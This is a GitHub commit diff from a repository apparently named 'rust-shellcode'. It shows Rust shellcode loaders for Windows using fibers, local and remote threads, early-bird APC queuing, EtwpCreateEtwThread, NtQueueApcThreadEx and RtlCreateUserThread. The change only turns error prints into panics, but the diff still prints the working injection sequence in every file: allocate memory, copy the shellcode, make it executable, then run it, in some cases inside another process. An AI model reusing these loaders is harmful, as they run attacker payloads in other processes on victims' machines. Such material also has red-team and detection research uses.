8000 fix · b1nhack/rust-shellcode@1b6b26a · GitHub
[go: up one dir, main page]

Skip to content

Commit 1b6b26a

Browse files
committed
fix
2 parents e457edf + 4bf7ee8 commit 1b6b26a

File tree

9 files changed

+42
-67
lines changed

9 files changed

+42
-67
lines changed

create_fiber/src/main.rs

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,28 +17,24 @@ fn main() {
1717
unsafe {
1818
let main_fiber = ConvertThreadToFiber(null());
1919
if main_fiber.is_null() {
20-
eprintln!("ConvertThreadToFiber failed!");
21-
return;
20+
panic!("ConvertThreadToFiber failed!");
2221
}
2322

2423
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2524
if dest.is_null() {
26-
eprintln!("VirtualAlloc failed!");
27-
return;
25+
panic!("VirtualAlloc failed!");
2826
}
2927

3028
copy(SHELLCODE.as_ptr(), dest.cast(), SIZE);
3129
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
3230
if res == FALSE {
33-
eprintln!("VirtualProtect failed!");
34-
return;
31+
panic!("VirtualProtect failed!");
3532
}
3633

3734
let dest = transmute(dest);
3835
let fiber = CreateFiber( 6D40 0, dest, null());
3936
if fiber.is_null() {
40-
eprintln!("CreateFiber failed!");
41-
return;
37+
panic!("CreateFiber failed!");
4238
}
4339

4440
SwitchToFiber(fiber);

create_remote_thread/src/main.rs

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ fn main() {
3131
let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
3232

3333
if handle == 0 {
34-
eprintln!("OpenProcess failed!");
34+
panic!("OpenProcess failed!");
3535
}
3636

3737
let dest = VirtualAllocEx(
@@ -43,26 +43,26 @@ fn main() {
4343
);
4444

4545
if dest.is_null() {
46-
eprintln!("VirtualAllocEx failed!");
46+
panic!("VirtualAllocEx failed!");
4747
}
4848

4949
let res = WriteProcessMemory(handle, dest, SHELLCODE.as_ptr().cast(), SIZE, null_mut());
5050

5151
if res == FALSE {
52-
eprintln!("WriteProcessMemory failed!");
52+
panic!("WriteProcessMemory failed!");
5353
}
5454

5555
let res = VirtualProtectEx(handle, dest, SIZE, PAGE_EXECUTE, &mut old);
5656

5757
if res == FALSE {
58-
eprintln!("VirtualProtectEx failed!");
58+
panic!("VirtualProtectEx failed!");
5959
}
6060

6161
let dest = transmute(dest);
6262
let thread = CreateRemoteThread(handle, null(), 0, dest, null(), 0, null_mut());
6363

6464
if thread == 0 {
65-
eprintln!("CreateRemoteThread failed!");
65+
panic!("CreateRemoteThread failed!");
6666
}
6767

6868
CloseHandle(handle);

create_remote_thread_native/src/main.rs

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -78,8 +78,7 @@ fn main() {
7878
PAGE_READWRITE,
7979
);
8080
if dest.is_null() {
81-
eprintln!("virtual_alloc_ex failed!");
82-
return;
81+
panic!("virtual_alloc_ex failed!");
8382
}
8483

8584
let res = write_process_memory(
@@ -90,20 +89,17 @@ fn main() {
9089
null_mut(),
9190
);
9291
if res == FALSE {
93-
eprintln!("write_process_memory failed");
94-
return;
92+
panic!("write_process_memory failed");
9593
}
9694

9795
let res = virtual_protect_ex(handle, dest, SIZE, PAGE_EXECUTE, &mut old);
9896
if res == FALSE {
99-
eprintln!("virtual_protect_ex failed!");
100-
return;
97+
panic!("virtual_protect_ex failed!");
10198
}
10299

103100
let thread = create_remote_thread(handle, null(), 0, dest, 0, null_mut());
104101
if thread == 0 {
105-
eprintln!("create_remote_thread failed!");
106-
return;
102+
panic!("create_remote_thread failed!");
107103
}
108104

109105
close_handle(handle);

create_thread/src/main.rs

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,24 +18,21 @@ fn main() {
1818
unsafe {
1919
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2020
if dest.is_null() {
21-
eprintln!("VirtualAlloc failed!");
22-
return;
21+
panic!("VirtualAlloc failed!");
2322
}
2423

2524
copy(SHELLCODE.as_ptr(), dest.cast(), SIZE);
2625

2726
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
2827
if res == FALSE {
29-
eprintln!("VirtualProtect failed!");
30-
return;
28+
panic!("VirtualProtect failed!");
3129
}
3230

3331
let dest = transmute(dest);
3432

3533
let thread = CreateThread(null(), 0, dest, null(), 0, null_mut());
3634
if thread == 0 {
37-
eprintln!("CreateThread failed!");
38-
return;
35+
panic!("CreateThread failed!");
3936
}
4037

4138
WaitForSingleObject(thread, WAIT_FAILED);

create_thread_native/src/main.rs

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -45,22 +45,19 @@ fn main() {
4545

4646
let dest = virtual_alloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
4747
if dest.is_null() {
48-
eprintln!("virtual_alloc failed!");
49-
return;
48+
panic!("virtual_alloc failed!");
5049
}
5150

5251
rtl_copy_memory(dest, SHELLCODE.as_ptr().cast(), SIZE);
5352

5453
let res = virtual_protect(dest, SIZE, PAGE_EXECUTE, &mut old);
5554
if res == FALSE {
56-
eprintln!("virtual_protect failed!");
57-
return;
55+
panic!("virtual_protect failed!");
5856
}
5957

6058
let handle = create_thread(null(), 0, dest, 0, null_mut());
6159
if handle == 0 {
62-
eprintln!("create_thread failed!");
63-
return;
60+
panic!("create_thread failed!");
6461
}
6562

6663
wait_for_single_object(handle, WAIT_FAILED);

early_bird/src/main.rs

Lines changed: 5 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,7 @@ fn main() {
3939
&mut pi,
4040
);
4141
if res == FALSE {
42-
eprintln!("CreateProcessA failed!");
43-
return;
42+
panic!("CreateProcessA failed!");
4443
}
4544

4645
let dest = VirtualAllocEx(
@@ -51,8 +50,7 @@ fn main() {
5150
PAGE_READWRITE,
5251
);
5352
if dest.is_null() {
54-
eprintln!("VirtualAllocEx failed!");
55-
return;
53+
panic!("VirtualAllocEx failed!");
5654
}
5755

5856
let res = WriteProcessMemory(
@@ -63,21 +61,18 @@ fn main() {
6361
null_mut(),
6462
);
6563
if res == FALSE {
66-
eprintln!("WriteProcessMemory failed!");
67-
return;
64+
panic!("WriteProcessMemory failed!");
6865
}
6966

7067
let res = VirtualProtectEx(pi.hProcess, dest, SIZE, PAGE_EXECUTE, &mut old);
7168
if res == FALSE {
72-
eprintln!("VirtualProtectEx failed!");
73-
return;
69+
panic!("VirtualProtectEx failed!");
7470
}
7571

7672
let dest = transmute(dest);
7773
let res = QueueUserAPC(Some(dest), pi.hThread, 0);
7874
if res == 0 {
79-
eprintln!("QueueUserAPC failed!");
80-
return;
75+
panic!("QueueUserAPC failed!");
8176
}
8277
ResumeThread(pi.hThread);
8378

etwp_create_etw_thread/src/main.rs

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,32 +18,32 @@ fn main() {
1818
let mut old = PAGE_READWRITE;
1919

2020
unsafe {
21-
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
21+
let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());
2222
if ntdll == 0 {
23-
eprintln!("LoadLibraryA failed!");
24-
return;
23+
panic!("LoadLibraryA failed!");
2524
}
2625

27-
let fn_etwp_create_etw_thread = GetProcAddress(ntdll, "EtwpCreateEtwThread\0".as_ptr());
26+
let fn_etwp_create_etw_thread = GetProcAddress(ntdll, b"EtwpCreateEtwThread\0".as_ptr());
2827

2928
let etwp_create_etw_thread: extern "C" fn(*mut c_void, isize) -> HANDLE =
3029
transmute(fn_etwp_create_etw_thread);
3130

3231
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
3332
if dest.is_null() {
34-
eprintln!("VirtualAlloc failed!");
35-
return;
33+
panic!("VirtualAlloc failed!");
3634
}
3735

3836
copy(SHELLCODE.as_ptr(), dest.cast(), SIZE);
3937

4038
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
4139
if res == FALSE {
42-
eprintln!("VirtualProtect failed!");
43-
return;
40+
panic!("VirtualProtect failed!");
4441
}
4542

4643
let thread = etwp_create_etw_thread(dest, 0);
44+
if thread == 0 {
45+
panic!("etwp_create_etw_thread failed!")
46+
}
4747

4848
WaitForSingleObject(thread, WAIT_FAILED);
4949
}

nt_queue_apc_thread_ex_local/src/main.rs

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,25 +18,23 @@ fn main() {
1818
let mut old = PAGE_READWRITE;
1919

2020
unsafe {
21-
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
21+
let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());
2222

23-
let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, "NtQueueApcThreadEx\0".as_ptr());
23+
let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, b"NtQueueApcThreadEx\0".as_ptr());
2424

2525
let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) =
2626
transmute(fn_nt_queue_apc_thread_ex);
2727

2828
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2929
if dest.is_null() {
30-
eprintln!("VirtualAlloc failed!");
31-
return;
30+
panic!("VirtualAlloc failed!");
3231
}
3332

3433
copy(SHELLCODE.as_ptr(), dest.cast(), SIZE);
3534

3635
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
3736
if res == FALSE {
38-
eprintln!("VirtualProtect failed!");
39-
return;
37+
panic!("VirtualProtect failed!");
4038
}
4139

4240
let handle = GetCurrentThread();

rtl_create_user_thread/src/main.rs

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,8 @@ fn main() {
2929
.as_u32();
3030

3131
unsafe {
32-
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
33-
let fn_rtl_create_user_thread = GetProcAddress(ntdll, "RtlCreateUserThread\0".as_ptr());
32+
let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());
33+
let fn_rtl_create_user_thread = GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr());
3434

3535
let rtl_create_user_thread: extern "C" fn(
3636
HANDLE,
@@ -47,8 +47,7 @@ fn main() {
4747

4848
let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
4949
if handle == 0 {
50-
eprintln!("OpenProcess failed!");
51-
return;
50+
panic!("OpenProcess failed!");
5251
}
5352

5453
let dest = VirtualAllocEx(
@@ -59,8 +58,7 @@ fn main() {
5958
PAGE_READWRITE,
6059
);
6160
if dest.is_null() {
62-
eprintln!("VirtualAllocEx failed!");
63-
return;
61+
panic!("VirtualAllocEx failed!");
6462
}
6563

6664
let res = WriteProcessMemory(
@@ -71,14 +69,12 @@ fn main() {
7169
null_mut(),
7270
);
7371
if res == FALSE {
74-
eprintln!("WriteProcessMemory failed!");
75-
return;
72+
panic!("WriteProcessMemory failed!");
7673
}
7774

7875
let res = VirtualProtectEx(handle, dest, SIZE, PAGE_EXECUTE, &mut old);
7976
if res == FALSE {
80-
eprintln!("VirtualProtectEx failed!");
81-
return;
77+
panic!("VirtualProtectEx failed!");
8278
}
8379

8480
let mut thraed: HANDLE = 0;

0 commit comments

Comments
 (0)
0